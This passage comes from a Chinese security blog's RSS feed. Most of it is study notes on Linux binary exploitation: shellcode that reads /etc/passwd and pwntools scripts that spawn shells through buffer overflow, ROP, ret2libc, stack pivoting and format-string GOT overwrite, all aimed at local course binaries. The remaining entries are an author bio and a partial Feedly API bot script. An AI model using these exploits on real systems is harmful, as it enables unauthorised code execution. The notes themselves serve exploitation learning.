&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;    jmp file
open:
    pop ebx
    xor eax,eax
    mov al,5
    xor ecx,ecx
    int 0x80

    mov ebx,eax
    mov al,3
    mov ecx,esp
    mov dl,0x30
    int 0x80

    mov al,4
    mov bl,1
    mov dl,0x30
    int 0x80

    xor eax,eax
    inc eax
    int 0x80

file:
    call open
    db &#x27;/etc/passwd&#x27;, 0x0&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;执行流程：&lt;br&gt;
&lt;code&gt;jmp file&lt;/code&gt; -&amp;gt; &lt;code&gt;call open&lt;/code&gt; &amp;amp; 将&lt;code&gt;/etc/passwd&lt;/code&gt;入栈，&lt;code&gt;0x0&lt;/code&gt;用于“截断”后面的字符 -&amp;gt; &lt;code&gt;pop ebx&lt;/code&gt;将栈顶的&lt;code&gt;/etc/passwd&lt;/code&gt;pop出来赋给&lt;code&gt;ebx&lt;/code&gt; -&amp;gt; 将&lt;code&gt;eax&lt;/code&gt;异或置0 -&amp;gt; 将&lt;code&gt;5&lt;/code&gt;赋给al寄存器（执行&lt;code&gt;open()&lt;/code&gt;函数） -&amp;gt; 将&lt;code&gt;ecx&lt;/code&gt;异或置0 （只读）-&amp;gt; &lt;code&gt;int 0x80&lt;/code&gt; 结束&lt;code&gt;open()&lt;/code&gt;函数 -&amp;gt; 将&lt;code&gt;eax&lt;/code&gt;赋给&lt;code&gt;ebx&lt;/code&gt;（&lt;code&gt;eax&lt;/code&gt;返回的是&lt;code&gt;open()&lt;/code&gt;函数返回的&lt;code&gt;文件描述符&lt;/code&gt;） -&amp;gt; 将&lt;code&gt;3&lt;/code&gt;赋给al寄存器（执g)&lt;code&gt;函数） -&amp;gt; 将&lt;/code&gt;esp&lt;code&gt;（栈顶的东西）赋给&lt;/code&gt;ecx&lt;code&gt;-&amp;gt; 将&lt;/code&gt;dl&lt;code&gt;赋值30（read的长度） -&amp;gt;&lt;/code&gt;int 0x80&lt;code&gt;结束&lt;/code&gt;read()&lt;code&gt;函数 -&amp;gt; 将&lt;/code&gt;4&lt;code&gt;赋给al寄存器 -&amp;gt; 将&lt;/code&gt;1&lt;code&gt;赋给bl寄存器（write到屏幕）-&amp;gt; 将&lt;/code&gt;30&lt;code&gt;赋给dl寄存器 -&amp;gt;&lt;/code&gt;int 0x80&lt;code&gt;结束&lt;/code&gt;write()&lt;code&gt;函数 -&amp;gt; 将&lt;/code&gt;eax&lt;code&gt;异或置0 -&amp;gt;&lt;/code&gt;inc eax&lt;code&gt;加一，执行&lt;/code&gt;exit()&lt;code&gt;函数 -&amp;gt;&lt;/code&gt;innt 0x80&lt;code&gt;结束&lt;/code&gt;exit()`函数&lt;/p&gt;
&lt;h3 id=&quot;comsumption&quot;&gt;Comsumption&lt;/h3&gt;
&lt;h4 id=&quot;register-architecture&quot;&gt;Register Architecture&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;-w877&quot; src=&quot;/api/download/15569802240054.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;假如EAX是12345678h&lt;br&gt;
那么AX就是EAX的低16位，即5678h&lt;br&gt;
AL就是AX的低16位，即78h&lt;/p&gt;
&lt;p&gt;同理EBX，ECX，EDX…… 这样就能解释上面，函数调用那里，为啥将&lt;code&gt;eax&lt;/code&gt;异或置0之后，给&lt;code&gt;al&lt;/code&gt;赋0x**了。&lt;/p&gt;
&lt;h4 id=&quot;command&quot;&gt;Command&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;MOV dst,src
add dest,src
sub dest,src
mul arg
# 自加1
inc
# 自减1
dec
cmp
push
pop&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;system-call&quot;&gt;System Call&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;eax: system call number / return value
ebx,ecx,edx,esi,edi:argument
instruction: int 0x80&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;a href=&quot;http://syscalls.kernelgrok.com/&quot; rel=&quot;nofollow&quot;&gt;Linux Syscall Reference&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;0x02-buffer-overflow&quot;&gt;0x02 Buffer overflow&lt;/h2&gt;
&lt;h3 id=&quot;vulnerable-functions&quot;&gt;Vulnerable Functions&lt;/h3&gt;
&lt;p&gt;gets&lt;br&gt;
scanf&lt;br&gt;
strcpy&lt;br&gt;
sprintf&lt;br&gt;
memcpy&lt;br&gt;
strcat&lt;br&gt;
……&lt;/p&gt;
&lt;h3 id=&quot;return-to-text&quot;&gt;Return to Text&lt;/h3&gt;
&lt;p&gt;这个的漏洞点也很直接了当，没有对buf做限制&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;ssize_t vuln()
{
  char buf; // [sp+1Ch] [bp-1Ch]@1

  write(1, &quot;[*]Welcome to pwn1\n&quot;, 0x13u);
  return read(0, &amp;amp;buf, 0x32u);
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;而且里面还有一个&lt;code&gt;shell&lt;/code&gt;函数，所以直接就能上exp拿shell&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

r = remote(&#x27;localhost&#x27;, 4000)

r.sendline(&#x27;a&#x27;*32 + p32(0x0804851D))

r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;return-to-shellcode&quot;&gt;Return to Shellcode&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-14h]@1

  setvbuf(stdout, 0, 2, 0);
  printf(&quot;Name:&quot;);
  read(0, &amp;amp;name, 0x32u);
  printf(&quot;Try your best:&quot;);
  return (int)gets((char *)&amp;amp;v4);
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这道同样是溢出，但是没有内置shell函数，刚好看到有个定义的全局变量&lt;code&gt;$name&lt;/code&gt;(bss段)，他的地址不会改变，所以我们就可以往他那写shellcode，然后溢出的时候return到他的地址就可以。&lt;/p&gt;
&lt;p&gt;这里pwntools的&lt;code&gt;asm(&lt;a href=&quot;http://shellcraft.sh&quot; rel=&quot;nofollow&quot;&gt;shellcraft.sh&lt;/a&gt;()&lt;/code&gt;，&lt;code&gt;asm()&lt;/code&gt;是生成汇编,&lt;code&gt;shellcraft.xx()&lt;/code&gt;是pwntools封装好的内置shellcode&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;from pwn import *

r = remote(&#x27;localhost&#x27;, 4000)

r.recvuntil(&#x27;Name:&#x27;)
r.sendline(asm(&lt;a href=&quot;http://shellcraft.sh&quot; rel=&quot;nofollow&quot;&gt;shellcraft.sh&lt;/a&gt;()))
r.recvuntil(&#x27;Try your best:&#x27;)
r.sendline(&#x27;a&#x27;*32 + p32(0x0804a060))

r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;homework&quot;&gt;homework&lt;/h3&gt;
&lt;p&gt;这道题知道溢出点在&lt;code&gt;gets()&lt;/code&gt;和&lt;code&gt;strcpy()&lt;/code&gt;上，但是不知道怎么下手。。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@1
  int result; // eax@1
  int v5; // ecx@1
  int v6; // [sp+18h] [bp-468h]@1
  int v7; // [sp+7Ch] [bp-404h]@1
  int v8; // [sp+47Ch] [bp-4h]@1

  v8 = *MK_FP(__GS__, 20);
  alarm(0x3Cu);
  setvbuf(stdout, 0, 2, 0);
  v3 = z();
  printf(&quot;Echo string (less than %d bytes): &quot;, v3 / 0x2710);
  gets((char *)&amp;amp;v7);
  strcpy((char *)&amp;amp;v6, (const char *)&amp;amp;v7);
  puts((const char *)&amp;amp;v6);
  result = 0;
  v5 = *MK_FP(__GS__, 20) ^ v8;
  return result;
}&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;0x03-rop&quot;&gt;0x03 ROP&lt;/h2&gt;
&lt;p&gt;Return Oriented Programming(ROP)&lt;br&gt;
是一种利用现有的程序片段组合出想要功能的技巧&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可以使用ROP解除DEP限制，然后执行shellcode  &lt;/li&gt;
&lt;li&gt;可以使用ROP绕过ASLR限制  &lt;/li&gt;
&lt;li&gt;可以使用ROP绕过StackGuard  &lt;/li&gt;
&lt;li&gt;可以使用ROP绕过PIE  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用ROP的关键  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;查找gadget  &lt;/li&gt;
&lt;li&gt;排列gadget  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ROP类型&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;控制寄存器做syscall  &lt;/li&gt;
&lt;li&gt;使用原有程序里的function  &lt;/li&gt;
&lt;li&gt;使用libc里的gadget或function(绕过ASLR)  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;查找ROP&lt;br&gt;
ROPGadget  &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;ROPgadget --binary ./rop
ROPgadget --binary ./rop --opcode cd80c3
cd80c3 // int 0x80 ; ret&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;aslr&quot;&gt;ASLR&lt;/h3&gt;
&lt;p&gt;Address Space Layout Randomization 地址随机化&lt;br&gt;
检查是否开启ASLR&lt;br&gt;
cat /proc/sys/kernel/randomize_Va_space  &lt;/p&gt;
&lt;h3 id=&quot;dep&quot;&gt;DEP&lt;/h3&gt;
&lt;p&gt;Data Execution Prevention (NX)&lt;br&gt;
可写的不可以执行，可执行的不可以写  &lt;/p&gt;
&lt;h4 id=&quot;homework1&quot;&gt;homework1&lt;/h4&gt;
&lt;p&gt;这个跟视频里讲的&lt;code&gt;rop&lt;/code&gt;例子是一样的，只是把&lt;code&gt;pop ecx&lt;/code&gt;和&lt;code&gt;pop ebx&lt;/code&gt;放到了一块赋值。所以基本上没有什么难点，自己敲一遍就理解了。&lt;br&gt;
&lt;img alt=&quot;-w1611&quot; src=&quot;/api/download/15579952684467.jpg&quot;&gt;&lt;br&gt;
payload&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

r = remote(&#x27;localhost&#x27;, 4000)

pop_eax_ret = 0x080bae06
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
buf = 0x80eb000 - 100
int_0x80_ret = 0x0806eef0
rop = [
    pop_eax_ret,
    3,
    pop_ecx_ebx_ret,
    buf,
    0,
    pop_edx_ret,
    50,
    int_0x80_ret,
    pop_eax_ret,
    0xb,
    pop_ecx_ebx_ret,
    0,
    buf,
    pop_edx_ret,
    0,
    int_0x80_ret
]
r.recvuntil(&#x27;Your input :&#x27;)
r.sendline(&#x27;a&#x27;*32 + flat(rop))
sleep(2)
r.sendline(&#x27;/bin/sh\x00&#x27;)
r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;有两个小疑问就是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;出入栈的原理，为什么pop出来之后return相当于复制操作  &lt;/li&gt;
&lt;li&gt;真实环境中第一次手动sendline之后程序就退出了，为啥还能脚  本里还能sendline第二次&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Answer：  &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;看汇编去！  &lt;/li&gt;
&lt;li&gt;因为第一次写入了read函数，从屏幕中获取输入写入buf中，后面才能exec&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;pie&quot;&gt;PIE&lt;/h3&gt;
&lt;p&gt;Position independent Execution&lt;br&gt;
地址无关可执行文件  &lt;/p&gt;
&lt;h3 id=&quot;stackguard&quot;&gt;StackGuard&lt;/h3&gt;
&lt;p&gt;编译器对stack overflow的一种保护机制，在函数被调用时，先在stack上放canary，函数返回前先检查这个值有没有被修改，可以有效的防止缓冲区溢出攻击&lt;/p&gt;
&lt;h3 id=&quot;return-to-library&quot;&gt;Return to Library&lt;/h3&gt;
&lt;h4 id=&quot;lazy-binding&quot;&gt;Lazy Binding&lt;/h4&gt;
&lt;p&gt;PLT&lt;br&gt;
GOT(Global Offset Table) 全局偏移表&lt;br&gt;
.got 保存全局变量的地址&lt;br&gt;
.got.plt保存函数引用地址  &lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;-w629&quot; src=&quot;/api/download/15582276689399.jpg&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;ret2lib&quot;&gt;ret2lib&lt;/h4&gt;
&lt;p&gt;这个类型的考点关键在于得到基地址，知道了基地址就可以用&lt;code&gt;readelf&lt;/code&gt;去获取所用函数的偏移地址，然后再找个可写的地址，构造rop，传进去即可。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ldd ./**    查看程序调用了哪个libc库&lt;br&gt;
readelf -a /lib32/libc.so.6 | grep puts@    查找libc库某函数的偏移地址&lt;br&gt;
pwntools    &lt;a href=&quot;http://docs.pwntools.com/en/stable/elf/elf.html?highlight=offset%20addr&quot; rel=&quot;nofollow&quot;&gt;ELF Files&lt;/a&gt;&lt;br&gt;
gdb    run之后输入&lt;code&gt;bt&lt;/code&gt;就可以看到libc库的地址 &lt;a href=&quot;https://www.cnblogs.com/chengliangsheng/p/3597010.html&quot; rel=&quot;nofollow&quot;&gt;Linux中用gdb 查看代码堆栈的信息&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;查看找的偏移地址是否正确可以对照libc库中后1.5个byte的&lt;code&gt;da0&lt;/code&gt;  &lt;/p&gt;
&lt;p&gt;readelf查找偏移&lt;br&gt;
&lt;img alt=&quot;-w731&quot; src=&quot;/api/download/15582343590827.jpg&quot;&gt;&lt;br&gt;
pwntools&lt;br&gt;
&lt;img alt=&quot;-w724&quot; src=&quot;/api/download/15582364754824.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

# 加载libc库
libc = ELF(&#x27;/lib32/libc.so.6&#x27;)

r = remote(&#x27;localhost&#x27;, 4000)


puts_got_plt = 0x804a01c
puts_off = 0x005f140


r.recvuntil(&#x27;:&#x27;)
r.sendline(str(puts_got_plt))
r.recvuntil(&#x27;:&#x27;)
# 基地址 = （打印的）实际地址 - 偏移地址
libc_base = int(r.recvuntil(&#x27;\n&#x27;).strip(),16) - puts_off

print &#x27;Libc Base Addr : &#x27; + hex(libc_base)

# readelf 查找的函数偏移地址
# gets_off = 0x005e890 
# system_off = 0x003a940
# gets = libc_base + gets_off
# system = libc_base + system_off

# pwntools 查找的函数偏移地址
gets = libc_base + int(hex(libc.symbols[&#x27;gets&#x27;]),16)
system = libc_base + int(hex(libc.symbols[&#x27;system&#x27;]),16)
buf = 0x804b000 - 100
rop = [
    gets,
    system,
    buf,
    buf
]
r.sendline(&#x27;a&#x27;*60 + flat(rop))
sleep(2)
r.sendline(&#x27;/bin/sh\x00&#x27;)


r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;payload2&lt;br&gt;
自己通过write() / puts()寻找函数实际地址，计算基地址&lt;br&gt;
&lt;img alt=&quot;-w724&quot; src=&quot;/api/download/15584070202694.jpg&quot;&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

context.log_level=&#x27;debug&#x27;
r = remote(&#x27;localhost&#x27;, 4000)
pwnme = ELF(&#x27;./pwnme&#x27;)
libc = ELF(&#x27;/lib32/libc.so.6&#x27;)

libc_start_main_got = pwnme.got[&#x27;__libc_start_main&#x27;]
libc_offset = libc.symbols[&#x27;__libc_start_main&#x27;]
write = pwnme.symbols[&#x27;write&#x27;]
main = 0x804847D
buf = 0x804b000 - 100
rop = [
    write,
    main,
    1,
    libc_start_main_got,
    50,
]
print r.readline(), r.readline()
r.sendline(&#x27;a&#x27;*20 + flat(rop))
#r.recvline()
#tmp = r.recvline()
# print len(tmp)
#for i in range(len(tmp)):
#   print(hex(u32(tmp[i:i+4])))
libc_base = u32(r.recvline()[0:4]) - libc_offset
# libc_base = 0xf660a000
# libc_base = 0xf6622540 - libc_offset
print &#x27;Libc base addr : &#x27; + hex(libc_base)
gets = libc_base + libc.symbols[&#x27;gets&#x27;]
system = libc_base + libc.symbols[&#x27;system&#x27;]
rop2 = [
    gets,
    system,
    buf,
    buf
]
print r.readline(), r.readline()
r.sendline(&#x27;a&#x27;*20 + flat(rop2))
sleep(2)
r.sendline(&#x27;/bin/sh\x00&#x27;)

r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这道题是分两次执行的，第一次write出base地址，然后第二次在脚本里面写死base地址，再传进去。拿shell。一直想调一步执行，但是遇到各种蜜汁问题。。。基础不牢地动山摇，根本不会debug就很难受。。先放一放。。&lt;/p&gt;
&lt;h3 id=&quot;stack-migration&quot;&gt;Stack Migration&lt;/h3&gt;
&lt;h4 id=&quot;homework_1&quot;&gt;homework&lt;/h4&gt;
&lt;p&gt;这个调了半天有bug，基地址也是对的，但是就是拿不到shell，然后一步步debug，差点就自闭了，结果发现&lt;code&gt;pop_ebp_ret&lt;/code&gt;的地址复制错了。。看来又是一个细心活，不能急，不然就是一步错，“步步错”！&lt;br&gt;
&lt;img alt=&quot;-w730&quot; src=&quot;media/15566370006280/15582568787961.jpg&quot;&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

r = remote(&#x27;localhost&#x27;, 4000)

pwn1 = ELF(&#x27;./pwn1&#x27;)
libc = ELF(&#x27;/lib32/libc.so.6&#x27;)
# 获取函数实际地址
libc_start_main_got = pwn1.got[&#x27;__libc_start_main&#x27;]
# 获取libc库中函数偏移地址
libc_start_off = libc.symbols[&#x27;__libc_start_main&#x27;]

puts = pwn1.symbols[&#x27;puts&#x27;]
read = pwn1.symbols[&#x27;read&#x27;]
buf1 = 0x804b000 - 100
pop_ebp_ret = 0x0804865f
pop3_ret = 0x0804865d
leave_ret = 0x080484b8

rop1 = [
    puts,
    pop_ebp_ret,
    libc_start_main_got,
    read,
    pop3_ret,
    0,
    buf1,
    50,
    pop_ebp_ret,
    buf1 - 4,
    leave_ret
]

r.recvuntil(&#x27;:&#x27;)
r.sendline(&#x27;a&#x27;*140 + flat(rop1))
r.recvline()
r.recvline()
# tmp = r.recvline()
# for i in range(len(tmp)):
#     print(hex(u32(tmp[i:i+4])))
libc_base = u32(r.recvline()[71:75]) - libc_start_off
# libc_base = 0xf6622540 - libc_start_off
print &#x27;Libc base addr : &#x27; + hex(libc_base)

gets = libc_base + libc.symbols[&#x27;gets&#x27;]
system = libc_base + libc.symbols[&#x27;system&#x27;]
buf2 = 0x804b000 - 500

rop2 = [
    gets,
    system,
    buf2,
    buf2
]
r.sendline(flat(rop2))
sleep(2)
r.sendline(&#x27;/bin/sh\x00&#x27;)
r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;patch&quot;&gt;Patch&lt;/h4&gt;
&lt;p&gt;改16进制&lt;br&gt;
sed -i s/待替换的字符/替换的字符/g ./pwn1  &lt;/p&gt;
&lt;p&gt;hook&lt;/p&gt;
&lt;h2 id=&quot;0x04-format-string-attack&quot;&gt;0x04 Format String Attack&lt;/h2&gt;
&lt;p&gt;Format string 可以被攻击者的输入任意控制，而printf本身不检查后面有几个参数。  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 %x 会造成栈上的信息泄露  &lt;/li&gt;
&lt;li&gt;可以使用 $ 来控制leak的位置  &lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;use-fmt&quot;&gt;Use fmt&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;%N%x&lt;/code&gt; 打印地址&lt;br&gt;
&lt;code&gt;%N%hhd&lt;/code&gt; 打印byte&lt;br&gt;
&lt;code&gt;%N$s&lt;/code&gt; 打印str  &lt;/p&gt;
&lt;h4 id=&quot;read-from-arbitrary-memory&quot;&gt;Read from arbitrary memory&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

r = remote(&#x27;localhost&#x27;, 4000)

password = 0x804A048
r.recvuntil(&#x27;?&#x27;)
r.sendline(p32(password) + &#x27;#&#x27; + &#x27;%10$s&#x27;+ &#x27;#&#x27;)
r.recvuntil(&#x27;#&#x27;)
# print u32(r.recvuntil(&#x27;#&#x27;)[:4])
pwd = u32(r.recvuntil(&#x27;#&#x27;)[:4])
#r.recvuntil(&#x27;:&#x27;)
sleep(2)
r.sendline(str(pwd))
r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;write-to-arbitrary-memory&quot;&gt;Write to arbitrary memory&lt;/h4&gt;
&lt;p&gt;掌握&lt;code&gt;fmtstr_payload()&lt;/code&gt;的用法  &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

r = remote(&#x27;localhost&#x27;, 4000)

x_addr = 0x804a02c
r.sendline(fmtstr_payload(7, {x_addr:0x14368792}))

r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;got-hijacking&quot;&gt;GOT Hijacking&lt;/h4&gt;
&lt;p&gt;综合利用：&lt;br&gt;
使用任意地址读取，获取当前函数的实际地址，从而获取libc基地址&lt;br&gt;
利用libc基地址+偏移地址可以知道其他函数地址&lt;br&gt;
利用任意地址写入，从而配合got hijacking更改已有函数地址&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

r = remote(&#x27;localhost&#x27;, 4000)
fmt = ELF(&#x27;./fmt1&#x27;)
libc = ELF(&#x27;/lib32/libc.so.6&#x27;)

libc_start_got = fmt.got[&#x27;__libc_start_main&#x27;]
libc_off = libc.symbols[&#x27;__libc_start_main&#x27;]

r.sendline(p32(libc_start_got) + &#x27;#&#x27; + &#x27;%5$s&#x27; + &#x27;#&#x27;)
r.recvuntil(&#x27;#&#x27;)
libc_base = u32(r.recvuntil(&#x27;#&#x27;)[:4]) - libc_off
print &#x27;Libc base addr : &#x27; + hex(libc_base)

printf_got = fmt.got[&#x27;printf&#x27;]
system = libc_base + libc.symbols[&#x27;system&#x27;]

r.sendline(fmtstr_payload(5, {printf_got:system}))
r.interactive()&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;0x05-summary&quot;&gt;0x05 Summary&lt;/h2&gt;
&lt;p&gt;未涉及的：&lt;br&gt;
64bit程序、Canary保护、无libc情况、Heap exploit&lt;/p&gt;
&lt;p&gt;Course:&lt;br&gt;
&lt;a href=&quot;http://security.cs.rpi.edu/courses/binexp-spring2015&quot; rel=&quot;nofollow&quot;&gt;Modern Binary Exploitation&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Tue, 30 Apr 2019 15:10:00 +0800</pubDate>
  </item>
  <item>
    <title>
      About me
    </title>
    <link>https://www.0akarma.com/about.html</link>
    <description>&lt;h2 id=&quot;myself&quot;&gt;Myself&lt;/h2&gt;
&lt;p&gt;Id : 0aKarmA / 骅文 &lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;mailto:karma@d0g3.cn&quot;&gt;Email Me&lt;/a&gt; / &lt;a href=&quot;https://twitter.com/harold_kung&quot; rel=&quot;nofollow&quot;&gt;Twitter&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;喜欢代码审计、Linux运维、渗透测试、PythonWeb开发&lt;/p&gt;
&lt;p&gt;业余爱好：拉丁舞、摄影摄像、后期制作、美工打杂、钻研易经文化&lt;/p&gt;
&lt;p&gt;博客由&lt;code&gt;flask&lt;/code&gt;驱动，全程由Docker维护管理。具体介绍见&lt;a href=&quot;https://www.0akarma.com/0ak-blog&quot; rel=&quot;nofollow&quot;&gt;Exploitation Of 0ak &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blog‘s Timeline&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2017.10 博客园&lt;/p&gt;
&lt;p&gt;2017.11 Hexo+Github&lt;/p&gt;
&lt;p&gt;2019.1  Flask v1.0&lt;/p&gt;
&lt;p&gt;2019.11 Flask v2.0 删掉了以前一些比较水的文章&lt;/p&gt;
&lt;h2 id=&quot;my-friends&quot;&gt;My Friends&lt;/h2&gt;
&lt;p&gt;排名不分先后&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://ph0rse.me/&quot; rel=&quot;nofollow&quot;&gt;Ph0rse&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sancrane.top/&quot; rel=&quot;nofollow&quot;&gt;Sanc7ane&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://0xpoker.ctfer.org/&quot; rel=&quot;nofollow&quot;&gt;Poker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hu3sky.github.io/&quot; rel=&quot;nofollow&quot;&gt;Hu3sky&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://0day.design/&quot; rel=&quot;nofollow&quot;&gt;Passer6y&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.hpdoger.cn/&quot; rel=&quot;nofollow&quot;&gt;Hpdoger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patrilic.top/&quot; rel=&quot;nofollow&quot;&gt;Patrilic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://threezh1.com/&quot; rel=&quot;nofollow&quot;&gt;Threezh1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    <pubDate>Sat, 20 Apr 2019 13:19:34 +0800</pubDate>
  </item>
  <item>
    <title>
      懒上加懒之Feedlybot
    </title>
    <link>https://www.0akarma.com/feedlybot.html</link>
    <description>&lt;h2 id=&quot;profile&quot;&gt;profile&lt;/h2&gt;
&lt;p&gt;前段时间看到&lt;a href=&quot;http://riusksk.me/2019/03/30/RSS-%E4%BC%98%E7%A7%80%E7%9A%84%E4%B8%AA%E4%BA%BA%E6%83%85%E6%8A%A5%E6%9D%A5%E6%BA%90/&quot; rel=&quot;nofollow&quot;&gt;Riusksk大佬&lt;/a&gt;分享的RSS源，然后又在gayhub看到一个项目&lt;a href=&quot;https://github.com/zer0yu/CyberSecurityRSS&quot; rel=&quot;nofollow&quot;&gt;CyberSecurityRSS&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;于是，就有了这个“懒人feedlybot”的诞生～&lt;/p&gt;
&lt;h2 id=&quot;feedlybot&quot;&gt;feedlybot&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;# coding:utf-8
import time
from datetime import datetime
import requests
import pymongo

# feedly api url
base = &#x27;&lt;a href=&quot;https://cloud.feedly.com/v3/&#x27;&quot; rel=&quot;nofollow&quot;&gt;https://cloud.feedly.com/v3/&#x27;&lt;/a&gt;
# api auth token
# &lt;a href=&quot;https://feedly.com/v3/auth/dev&quot; rel=&quot;nofollow&quot;&gt;https://feedly.com/v3/auth/dev&lt;/a&gt; 获取api token
header = {&#x27;Authorization&#x27;: &#x27;OAuth &amp;lt;your token&amp;gt;&#x27;}



def getCategories(Total):
    # 获取category
    category = requests.get(base + &#x27;collections&#x27;, headers=header)
    for each in category.json():
        # 刷新并获取所有feed订阅
        # each[&#x27;id&#x27;]为feed所对应的唯一id
        # each[&#x27;label&#x27;]为你feedly所对应的category
        # Total为所存入的collection
        refresh(each[&#x27;id&#x27;], each[&#x27;label&#x27;], Total)

def refresh(feedId, label, collection):
    # 根据feedapi提示，要将某些字符进行转义
    feedId = feedId.replace(&quot;/&quot;, &quot;%2F&quot;)
    feedId = feedId.replace(&quot;:&quot;, &quot;%3A&quot;)
    # 每日0点
    zero_time = datetime.now().replace(hour=0, minute=0, second=0, microsecond=0).timestamp()
    # 获取当天0点之后该feedid所有的文章
    result = requests.get(base + &quot;streams/contents?streamId={0}&quot;.format(feedId), headers=header, params={&#x27;newerThan&#x27; : int(zero_time * 1000)})
    # 获取当天api已使用次数
    count = result.headers[&#x27;X-RateLimit-Count&#x27;]
    result = result.json()


    for each in result[&#x27;items&#x27;]:
        try:
            # 源title
            origin = each[&#x27;origin&#x27;][&#x27;title&#x27;]

            # 文章链接
            if(re.match(&#x27;^http.*&#x27;, each[&#x27;originId&#x27;]) != None):
                href = each[&#x27;originId&#x27;]
            else:
                href = each[&#x27;alternate&#x27;][0][&#x27;href&#x27;]
            # 文章标题
            title = each[&#x27;title&#x27;]
            # 发布时间
            pubtime = timeStamp(each[&#x27;published&#x27;])
            pubtimestamp = each[&#x27;published&#x27;]


            data = {
                &#x27;category&#x27; : label,
                &#x27;feedtitle&#x27; : origin,
                &#x27;articletitle&#x27; :title,
                &#x27;pubtime&#x27; : pubtime,
                &#x27;pubtimestamp&#x27; : pubtimestamp,
